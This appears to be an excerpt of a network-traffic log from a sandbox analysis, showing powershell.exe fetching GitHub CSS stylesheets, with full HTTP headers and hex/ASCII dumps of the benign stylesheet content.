2024-09-30 13:50:11 UTC	357	OUT	GET /assets/github-6da540aa3f84.css HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:11 UTC	681	IN	HTTP/1.1 200 OK Connection: close Content-Length: 128539 Cache-Control: public, max-age=31536000, immutable Content-Type: text/css Last-Modified: Mon, 23 Sep 2024 21:24:45 GMT ETag: "0x8DCDC16257AB734" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 569684 Date: Mon, 30 Sep 2024 13:50:11 GMT X-Served-By: cache-iad-kcgs7200053-IAD, cache-ewr-kewr1740029-EWR X-Cache: HIT, HIT X-Cache-Hits: 50, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 3f2974971a646d6646cfa99f3df0384881248e87
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 2e 6d 69 6e 2d 68 65 69 67 68 74 2d 66 75 6c 6c 7b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 76 68 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 68 61 6e 67 69 6e 67 2d 69 63 6f 6e 2d 6c 69 73 74 7b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 6e 6f 6e 65 7d 2e 68 61 6e 67 69 6e 67 2d 69 63 6f 6e 2d 6c 69 73 74 20 6c 69 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 32 34 29 3b 6d 61 72 67 69 6e 3a 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 38 29 20 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 7d 2e 68 61 6e 67 69 6e 67 2d 69 63 6f 6e 2d 6c 69 73 74 20 2e 6f 63 74 69 63 6f 6e 7b 66 6c 6f 61 74 3a 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 34 29 3b 6d 61 72 Data Ascii: .min-height-full{min-height:100vh !important}.hanging-icon-list{list-style-type:none}.hanging-icon-list li{padding-left:var(--base-size-24);margin:var(--base-size-8) 0;font-size:14px}.hanging-icon-list .octicon{float:left;margin-top:var(--base-size-4);mar
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 75 73 20 2e 6f 63 74 69 63 6f 6e 2d 6c 6f 63 6b 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 69 6e 74 65 67 72 61 74 69 6f 6e 73 2d 73 65 74 75 70 2d 6e 6f 74 65 7b 6d 61 72 67 69 6e 3a 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 38 29 20 30 7d 2e 6c 69 73 74 67 72 6f 75 70 2d 69 74 65 6d 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 69 6e 68 65 72 69 74 7d 2e 6c 69 73 74 67 72 6f 75 70 2d 69 74 65 6d 2e 64 69 73 61 62 6c 65 64 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 62 67 43 6f 6c 6f 72 2d 6d 75 74 65 64 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 63 61 6e 76 61 73 2d 73 75 62 74 6c 65 29 29 7d 2e 6c 69 73 74 67 72 6f 75 70 2d 69 74 65 6d 2e 64 69 73 61 62 6c 65 64 20 2e 6c 69 73 74 67 72 6f 75 70 2d 69 74 65 6d 2d 74 69 74 Data Ascii: us .octicon-lock{color:inherit}.integrations-setup-note{margin:var(--base-size-8) 0}.listgroup-item{line-height:inherit}.listgroup-item.disabled{background-color:var(--bgColor-muted, var(--color-canvas-subtle))}.listgroup-item.disabled .listgroup-item-tit
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 65 74 61 69 6c 73 20 2e 65 6e 74 72 79 2d 64 65 74 61 69 6c 73 2d 74 68 2c 2e 65 6e 74 72 79 2d 64 65 74 61 69 6c 73 20 2e 65 6e 74 72 79 2d 64 65 74 61 69 6c 73 2d 74 64 7b 6d 61 78 2d 77 69 64 74 68 3a 34 32 35 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 38 29 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 65 6e 74 72 79 2d 64 65 74 61 69 6c 73 20 2e 65 6e 74 72 79 2d 64 65 74 61 69 6c 73 2d 74 68 3a 68 6f 76 65 72 2c 2e 65 6e 74 72 79 2d 64 65 74 61 69 6c 73 20 2e 65 6e 74 72 79 2d 64 65 74 61 69 6c 73 2d 74 64 3a 68 6f Data Ascii: etails .entry-details-th,.entry-details .entry-details-td{max-width:425px;padding-right:var(--base-size-8);overflow:hidden;text-align:left;text-overflow:ellipsis;white-space:nowrap}.entry-details .entry-details-th:hover,.entry-details .entry-details-td:ho
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 65 2d 73 69 7a 65 2d 34 29 2a 2d 31 29 20 30 7d 2e 6c 66 73 2d 64 61 74 61 2d 69 63 6f 6e 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 67 43 6f 6c 6f 72 2d 6d 75 74 65 64 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 66 67 2d 6d 75 74 65 64 29 29 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 6c 66 73 2d 64 61 74 61 2d 69 63 6f 6e 2e 64 61 72 6b 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 67 43 6f 6c 6f 72 2d 64 65 66 61 75 6c 74 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 66 67 2d 64 65 66 61 75 6c 74 29 29 7d 2e 6c 66 73 2d 64 61 74 61 2d 69 63 6f 6e 2e 6f 63 74 69 63 6f 6e 2d 64 61 74 61 62 61 73 65 7b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 34 29 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 70 78 7d 2e 70 Data Ascii: e-size-4)*-1) 0}.lfs-data-icon{color:var(--fgColor-muted, var(--color-fg-muted));text-align:center}.lfs-data-icon.dark{color:var(--fgColor-default, var(--color-fg-default))}.lfs-data-icon.octicon-database{margin-right:var(--base-size-4);margin-left:2px}.p
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 70 2d 63 72 65 64 69 74 63 61 72 64 2d 66 6f 72 6d 2c 2e 70 61 79 6d 65 6e 74 2d 6d 65 74 68 6f 64 73 2e 70 61 79 70 61 6c 2d 6c 6f 67 67 65 64 2d 69 6e 20 2e 70 61 79 70 61 6c 2d 66 6f 72 6d 2d 61 63 74 69 6f 6e 73 2c 2e 70 61 79 6d 65 6e 74 2d 6d 65 74 68 6f 64 73 2e 70 61 79 70 61 6c 2d 6c 6f 67 67 65 64 2d 69 6e 20 2e 74 65 72 6d 73 2c 2e 70 61 79 6d 65 6e 74 2d 6d 65 74 68 6f 64 73 2e 70 61 79 70 61 6c 2d 6c 6f 67 67 65 64 2d 69 6e 20 2e 70 61 79 70 61 6c 2d 73 69 67 6e 65 64 2d 69 6e 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 70 61 79 6d 65 6e 74 2d 6d 65 74 68 6f 64 73 2e 68 61 73 2d 70 61 79 70 61 6c 2d 61 63 63 6f 75 6e 74 20 2e 70 61 79 70 61 6c 2d 73 69 67 6e 2d 69 6e 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 70 61 79 6d 65 6e 74 2d 6d Data Ascii: p-creditcard-form,.payment-methods.paypal-logged-in .paypal-form-actions,.payment-methods.paypal-logged-in .terms,.payment-methods.paypal-logged-in .paypal-signed-in{display:block}.payment-methods.has-paypal-account .paypal-sign-in{display:none}.payment-m
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 6f 70 65 6e 20 2e 6c 6f 63 61 6c 2d 63 75 72 72 65 6e 63 79 2d 62 6c 6f 63 6b 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 63 75 72 72 65 6e 63 79 2d 63 6f 6e 74 61 69 6e 65 72 2e 6f 70 65 6e 20 2e 64 65 66 61 75 6c 74 2d 63 75 72 72 65 6e 63 79 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 73 74 72 6f 6e 67 2d 6c 61 62 65 6c 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 34 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d 2d 62 61 73 65 2d 74 65 78 74 2d 77 65 69 67 68 74 2d 73 65 6d 69 62 6f 6c 64 2c 20 36 30 30 29 7d 2e 64 69 73 63 6f 75 6e 74 65 64 2d 6f 72 69 67 69 6e 61 6c 2d 70 72 69 63 65 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 Data Ascii: open .local-currency-block{display:block}.currency-container.open .default-currency{display:none}.strong-label{display:inline-block;margin-bottom:var(--base-size-4);font-weight:var(--base-text-weight-semibold, 600)}.discounted-original-price{font-weight:v
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 61 2d 62 69 6c 6c 69 6e 67 2d 73 65 63 74 69 6f 6e 2e 50 61 79 6d 65 6e 74 4d 65 74 68 6f 64 2d 2d 63 72 65 64 69 74 63 61 72 64 2d 61 64 64 65 64 7e 2e 53 69 67 6e 55 70 43 6f 6e 74 69 6e 75 65 41 63 74 69 6f 6e 73 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 7a 75 6f 72 61 2d 62 69 6c 6c 69 6e 67 2d 73 65 63 74 69 6f 6e 2e 50 61 79 6d 65 6e 74 4d 65 74 68 6f 64 2d 2d 70 61 79 70 61 6c 7e 2e 53 69 67 6e 55 70 43 6f 6e 74 69 6e 75 65 41 63 74 69 6f 6e 73 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 62 69 6c 6c 69 6e 67 2d 62 6f 78 2d 61 63 63 6f 72 64 69 6f 6e 5b 6f 70 65 6e 5d 20 2e 6f 63 74 69 63 6f 6e 2d 63 68 65 76 72 6f 6e 2d 72 69 67 68 74 7b 68 65 69 67 68 74 3a 61 75 74 6f 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 39 30 64 65 67 Data Ascii: a-billing-section.PaymentMethod--creditcard-added~.SignUpContinueActions{display:block}.zuora-billing-section.PaymentMethod--paypal~.SignUpContinueActions{display:block}.billing-box-accordion[open] .octicon-chevron-right{height:auto;transform:rotate(90deg
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 36 30 30 70 78 7d 2e 54 61 67 73 65 61 72 63 68 50 6f 70 6f 76 65 72 2d 63 6f 6e 74 65 6e 74 7b 6d 61 78 2d 68 65 69 67 68 74 3a 33 30 30 70 78 7d 2e 64 69 66 66 2d 74 61 62 6c 65 20 2e 6c 69 6e 65 2d 61 6c 65 72 74 2c 2e 62 6c 6f 62 2d 63 6f 64 65 2d 63 6f 6e 74 65 6e 74 20 2e 6c 69 6e 65 2d 61 6c 65 72 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 3a 2d 32 70 78 20 32 70 78 7d 2e 64 69 66 66 2d 74 61 62 6c 65 20 2e 63 6f 64 65 6f 77 6e 65 72 73 2d 65 72 72 6f 72 2c 2e 62 6c 6f 62 2d 63 6f 64 65 2d 63 6f 6e 74 65 6e 74 20 2e 63 6f 64 65 6f 77 6e 65 72 73 2d 65 72 72 6f 72 7b 63 6f 6c 6f 72 3a 76 61 72 28 2d 2d 66 67 43 6f 6c 6f 72 Data Ascii: width:inherit;max-width:600px}.TagsearchPopover-content{max-height:300px}.diff-table .line-alert,.blob-code-content .line-alert{position:absolute;left:0;margin:-2px 2px}.diff-table .codeowners-error,.blob-code-content .codeowners-error{color:var(--fgColor
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 20 2e 6f 63 74 69 63 6f 6e 2d 63 6f 70 79 2c 2e 43 6f 70 79 42 6c 6f 63 6b 3a 61 63 74 69 76 65 20 2e 6f 63 74 69 63 6f 6e 2d 63 6f 70 79 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 62 6c 6f 62 2d 68 65 61 64 65 72 2e 69 73 2d 73 74 75 63 6b 7b 62 6f 72 64 65 72 2d 74 6f 70 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 6c 65 66 74 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 74 6f 70 2d 72 69 67 68 74 2d 72 61 64 69 75 73 3a 30 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 68 69 6e 74 73 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7a 2d 69 6e 64 65 78 3a 31 30 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 30 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 61 75 74 6f 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 53 Data Ascii: .octicon-copy,.CopyBlock:active .octicon-copy{display:inline-block}.blob-header.is-stuck{border-top:0;border-top-left-radius:0;border-top-right-radius:0}.CodeMirror-hints{position:absolute;z-index:10;max-height:20em;margin:0;overflow-y:auto;font-family:S
2024-09-30 13:50:11 UTC	1378	IN	Data Raw: 6d 2d 6c 69 6e 74 52 61 6e 67 65 2d 65 72 72 6f 72 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 75 72 73 6f 72 3a 68 65 6c 70 7d 2e 43 6f 64 65 4d 69 72 72 6f 72 2d 6c 69 6e 74 2d 6d 61 72 6b 2d 65 72 72 6f 72 3a 3a 62 65 66 6f 72 65 2c 2e 63 6d 2d 6c 69 6e 74 52 61 6e 67 65 2e 63 6d 2d 6c 69 6e 74 52 61 6e 67 65 2d 65 72 72 6f 72 3a 3a 62 65 66 6f 72 65 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 74 6f 70 3a 31 30 31 25 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 2e 32 35 65 6d 3b 63 6f 6e 74 65 6e 74 3a 22 22 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 34 35 25 2c 20 76 61 72 Data Ascii: m-lintRange-error{position:relative;cursor:help}.CodeMirror-lint-mark-error::before,.cm-lintRange.cm-lintRange-error::before{position:absolute;top:101%;width:100%;height:.25em;content:"";background:linear-gradient(135deg, transparent, transparent 45%, var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49717	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:12 UTC	360	OUT	GET /assets/dashboard-a70f6c490d6e.css HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:12 UTC	679	IN	HTTP/1.1 200 OK Connection: close Content-Length: 9631 Cache-Control: public, max-age=31536000, immutable Content-Type: text/css Last-Modified: Mon, 26 Aug 2024 16:35:59 GMT ETag: "0x8DCC5ED2A8192EA" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2923770 Date: Mon, 30 Sep 2024 13:50:12 GMT X-Served-By: cache-iad-kjyo7100024-IAD, cache-ewr-kewr1740029-EWR X-Cache: HIT, HIT X-Cache-Hits: 1, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 0fbbf9512c7f6f77298671c760f45d688d216c96
2024-09-30 13:50:12 UTC	1378	IN	Data Raw: 2e 62 69 6c 6c 69 6e 67 2d 6d 61 6e 61 67 65 72 2d 62 61 6e 6e 65 72 7b 70 61 64 64 69 6e 67 3a 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 33 32 29 20 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 31 36 29 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 33 32 29 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 62 67 43 6f 6c 6f 72 2d 6d 75 74 65 64 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 63 61 6e 76 61 73 2d 73 75 62 74 6c 65 29 29 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 76 61 72 28 2d 2d 62 6f 72 64 65 72 57 69 64 74 68 2d 74 68 69 6e 29 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 6d 75 74 65 64 2c 20 76 61 72 28 Data Ascii: .billing-manager-banner{padding:var(--base-size-32) var(--base-size-16);margin-bottom:var(--base-size-32);overflow:hidden;background:var(--bgColor-muted, var(--color-canvas-subtle));border-bottom:var(--borderWidth-thin) solid var(--borderColor-muted, var(
2024-09-30 13:50:12 UTC	1378	IN	Data Raw: 28 2d 2d 63 6f 6c 6f 72 2d 73 63 61 6c 65 2d 79 65 6c 6c 6f 77 2d 32 29 29 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 66 65 65 64 2d 69 74 65 6d 2d 68 65 61 64 69 6e 67 2d 69 63 6f 6e 2e 66 65 65 64 2d 6e 65 78 74 7b 72 69 67 68 74 3a 2d 35 70 78 3b 62 6f 74 74 6f 6d 3a 32 70 78 7d 2e 66 65 65 64 2d 69 74 65 6d 2d 75 73 65 72 2d 61 76 61 74 61 72 7b 62 6f 72 64 65 72 3a 76 61 72 28 2d 2d 62 6f 72 64 65 72 57 69 64 74 68 2d 74 68 69 6e 29 20 73 6f 6c 69 64 20 76 61 72 28 2d 2d 62 67 43 6f 6c 6f 72 2d 69 6e 73 65 74 2c 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 63 61 6e 76 61 73 2d 69 6e 73 65 74 29 29 7d 2e 66 65 65 64 2d 73 70 6f 6e 73 6f 72 65 64 2d 75 73 65 72 2d 64 65 73 63 72 69 70 74 69 6f 6e 20 70 3a 6c 61 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 62 Data Ascii: (--color-scale-yellow-2)) !important}.feed-item-heading-icon.feed-next{right:-5px;bottom:2px}.feed-item-user-avatar{border:var(--borderWidth-thin) solid var(--bgColor-inset, var(--color-canvas-inset))}.feed-sponsored-user-description p:last-child{margin-b
2024-09-30 13:50:12 UTC	1378	IN	Data Raw: 63 65 6d 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 2e 74 72 61 6e 73 69 74 69 6f 6e 7b 6f 70 61 63 69 74 79 3a 30 7d 2e 72 65 6c 65 61 73 65 2d 66 65 65 64 2d 69 6e 6c 69 6e 65 2d 6c 61 73 74 2d 70 20 70 3a 6c 61 73 74 2d 6f 66 2d 74 79 70 65 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 7d 5b 64 61 74 61 2d 64 65 76 2d 61 6e 61 6c 79 74 69 63 73 2d 65 6e 61 62 6c 65 64 5d 20 2e 54 72 75 6e 63 61 74 65 2d 74 65 78 74 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 5b 64 61 74 61 2d 64 65 76 2d 61 6e 61 6c 79 74 69 63 73 2d 65 6e 61 62 6c 65 64 5d 20 5b 64 61 74 61 2d 66 65 65 64 73 2d 61 6e 61 6c 79 74 69 63 73 5d 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 30 20 30 20 31 70 78 20 76 61 72 28 2d 2d 62 6f 72 64 65 72 43 6f 6c 6f 72 2d 73 75 63 63 65 73 73 Data Ascii: cement-container.transition{opacity:0}.release-feed-inline-last-p p:last-of-type{display:inline}[data-dev-analytics-enabled] .Truncate-text{overflow:visible}[data-dev-analytics-enabled] [data-feeds-analytics]{box-shadow:0 0 0 1px var(--borderColor-success
2024-09-30 13:50:12 UTC	1378	IN	Data Raw: 64 2d 73 69 64 65 62 61 72 3a 20 33 32 30 70 78 7d 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 34 30 30 70 78 29 7b 2e 66 65 65 64 2d 6c 65 66 74 2d 73 69 64 65 62 61 72 7b 2d 2d 66 65 65 64 2d 73 69 64 65 62 61 72 3a 20 33 33 36 70 78 7d 7d 2e 66 65 65 64 2d 6c 65 66 74 2d 73 69 64 65 62 61 72 20 2e 74 65 61 6d 2d 61 76 61 74 61 72 7b 77 69 64 74 68 3a 38 30 70 78 3b 68 65 69 67 68 74 3a 38 30 70 78 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 74 68 3a 20 37 36 38 70 78 29 7b 2e 66 65 65 64 2d 6c 65 66 74 2d 73 69 64 65 62 61 72 20 2e 74 65 61 6d 2d 61 76 61 74 61 72 7b 77 69 64 74 68 3a 31 34 30 70 78 3b 68 65 69 67 68 74 3a 31 34 30 70 78 7d 7d 2e 66 65 65 64 2d 72 69 67 68 74 2d 73 69 64 65 62 61 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e Data Ascii: d-sidebar: 320px}}@media(min-width: 1400px){.feed-left-sidebar{--feed-sidebar: 336px}}.feed-left-sidebar .team-avatar{width:80px;height:80px}@media(min-width: 768px){.feed-left-sidebar .team-avatar{width:140px;height:140px}}.feed-right-sidebar{display:non
2024-09-30 13:50:12 UTC	1378	IN	Data Raw: 73 68 62 6f 61 72 64 2d 73 69 64 65 62 61 72 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 65 78 74 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 65 78 74 2d 73 70 69 6e 6e 65 72 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 66 6c 65 78 3a 31 7d 2e 64 61 73 68 62 6f 61 72 64 20 68 31 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 65 6d 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 30 25 7d 2e 64 61 73 68 62 6f 61 72 64 20 68 31 20 61 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 76 61 72 28 2d Data Ascii: shboard-sidebar .loading-context .loading-context-spinner{position:absolute;z-index:1000;display:flex;width:100%;height:100%;justify-content:center;align-items:center;flex:1}.dashboard h1{margin-bottom:.5em;font-size:160%}.dashboard h1 a{font-weight:var(-
2024-09-30 13:50:12 UTC	1378	IN	Data Raw: 64 74 68 3a 20 35 34 34 70 78 29 7b 2e 64 69 73 63 75 73 73 69 6f 6e 2d 6e 65 73 74 65 64 2d 63 6f 6d 6d 65 6e 74 2d 74 69 6d 65 6c 69 6e 65 2d 69 74 65 6d 3a 3a 62 65 66 6f 72 65 7b 6c 65 66 74 3a 33 30 70 78 7d 7d 2e 64 69 73 63 75 73 73 69 6f 6e 2d 6e 65 73 74 65 64 2d 63 6f 6d 6d 65 6e 74 2d 74 69 6d 65 6c 69 6e 65 2d 69 74 65 6d 3a 66 69 72 73 74 2d 63 68 69 6c 64 3a 3a 62 65 66 6f 72 65 7b 74 6f 70 3a 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 31 36 29 7d 2e 64 69 73 63 75 73 73 69 6f 6e 2d 6e 65 73 74 65 64 2d 63 6f 6d 6d 65 6e 74 2d 67 72 6f 75 70 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 76 61 72 28 2d 2d 62 61 73 65 2d 73 69 7a 65 2d 33 32 29 7d 2e 64 69 73 63 75 73 73 69 6f 6e 2d 6e 65 73 74 65 64 2d 63 6f 6d 6d 65 6e 74 2d 70 61 67 69 6e 67 Data Ascii: dth: 544px){.discussion-nested-comment-timeline-item::before{left:30px}}.discussion-nested-comment-timeline-item:first-child::before{top:var(--base-size-16)}.discussion-nested-comment-group{margin-left:var(--base-size-32)}.discussion-nested-comment-paging
2024-09-30 13:50:12 UTC	1363	IN	Data Raw: 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 69 73 2d 63 6f 6d 6d 65 6e 74 2d 65 64 69 74 69 6e 67 20 2e 64 69 73 63 75 73 73 69 6f 6e 2d 63 6f 6d 6d 65 6e 74 20 2e 74 69 6d 65 6c 69 6e 65 2d 63 6f 6d 6d 65 6e 74 2d 61 63 74 69 6f 6e 73 2c 2e 69 73 2d 63 6f 6d 6d 65 6e 74 2d 65 64 69 74 69 6e 67 20 2e 64 69 73 63 75 73 73 69 6f 6e 2d 63 6f 6d 6d 65 6e 74 20 2e 65 64 69 74 2d 63 6f 6d 6d 65 6e 74 2d 68 69 64 65 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 64 69 73 63 75 73 73 69 6f 6e 2d 63 6f 6d 6d 65 6e 74 20 2e 70 72 65 76 69 65 77 61 62 6c 65 2d 65 64 69 74 2e 69 73 2d 63 6f 6d 6d 65 6e 74 2d 65 64 69 74 69 6e 67 20 2e 74 69 6d 65 6c 69 6e 65 2d 63 6f 6d 6d 65 6e 74 2d 68 65 61 64 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 20 21 69 6d 70 6f 72 74 61 Data Ascii: display:none}.is-comment-editing .discussion-comment .timeline-comment-actions,.is-comment-editing .discussion-comment .edit-comment-hide{display:block}.discussion-comment .previewable-edit.is-comment-editing .timeline-comment-header{display:flex !importa

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49716	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:12 UTC	362	OUT	GET /assets/experiments-d77f07364a5f.css HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:12 UTC	682	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3656 Cache-Control: public, max-age=31536000, immutable Content-Type: text/css Last-Modified: Mon, 26 Aug 2024 16:36:01 GMT ETag: "0x8DCC5ED2BDE3A4A" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2923546 Date: Mon, 30 Sep 2024 13:50:12 GMT X-Served-By: cache-iad-kjyo7100173-IAD, cache-ewr-kewr1740057-EWR X-Cache: HIT, HIT X-Cache-Hits: 2421, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: e3d2697f39adbfc13680f586c5717ae481c71d79
